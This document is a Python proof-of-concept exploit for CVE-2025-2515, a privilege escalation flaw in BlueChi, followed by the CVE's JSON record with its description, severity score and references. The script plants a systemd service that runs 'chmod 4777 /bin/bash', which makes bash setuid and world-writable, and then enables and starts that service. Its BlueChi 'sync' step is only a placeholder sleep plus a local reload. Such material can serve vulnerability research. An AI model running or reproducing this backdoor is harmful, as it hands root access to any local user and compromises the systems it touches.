CVE-2025-2515

# CVE-2025-2515 BlueChi Privilege Escalation PoC # This PoC demonstrates the concept of privilege escalation via BlueChi # Note: This is a conceptual PoC for educational purposes only import subprocess import os import time def create_malicious_unit_file(): """ Create a malicious systemd unit file on the managed node (qm) that will be applied to the host node via BlueChi """ malicious_unit = """[Unit] Description=Malicious Service After=network.target [Service] Type=oneshot ExecStart=/bin/bash -c 'echo malicious_code_executed >> /tmp/pwned' ExecStartPost=/bin/bash -c 'chmod 4777 /bin/bash' RemainAfterExit=yes [Install] WantedBy=multi-user.target """ # Path where the unit file can be placed unit_path = "/etc/systemd/system/malicious.service" try: with open(unit_path, 'w') as f: f.write(malicious_unit) print(f"[+] Malicious unit file created at {unit_path}") return True except PermissionError: print("[-] Permission denied - need root privileges on qm node") return False def trigger_bluechi_sync(): """ Trigger BlueChi to sync the unit file to the host node This simulates the BlueChi mechanism that causes the vulnerability """ print("[*] Waiting for BlueChi sync mechanism...") time.sleep(5) # In a real attack, this would involve exploiting BlueChi API # or waiting for automatic sync interval try: # Reload systemd to pick up the new unit subprocess.run(['systemctl', 'daemon-reload'], check=True) print("[+] Systemd daemon reloaded") return True except Exception as e: print(f"[-] Error: {e}") return False def escalate_privilege(): """ Enable and start the malicious service to execute privilege escalation """ service_name = "malicious.service" try: subprocess.run(['systemctl', 'enable', service_name], check=True) subprocess.run(['systemctl', 'start', service_name], check=True) print(f"[+] {service_name} enabled and started") return True except Exception as e: print(f"[-] Failed to start service: {e}") return False def main(): print("=== CVE-2025-2515 BlueChi Privilege Escalation PoC ===") print("[*] This PoC requires:") print(" 1. Root access on a managed node (qm)") print(" 2. BlueChi multi-node setup") print(" 3. Network connectivity to host node") print() if create_malicious_unit_file(): if trigger_bluechi_sync(): escalate_privilege() print("[+] Attack completed - check /tmp/pwned and /bin/bash permissions") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-2515", "sourceIdentifier": "[email protected]", "published": "2025-12-24T17:15:47.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in BlueChi, a multi-node systemd service controller used in RHIVOS. This flaw allows a user with root privileges on a managed node (qm) to create or override systemd service unit files that affect the host node. This issue can lead to privilege escalation, unauthorized service execution, and potential system compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-2515", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2353313", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/commit/fe0d28301ce2bd45f0b1d8a98a94efef799fbc73#diff-64140c83db42a8888f346a40de293b80f79ebf7d75ce4137b22567e360bce607", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/issues/1069", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/pull/1073", "source": "[email protected]"}]}}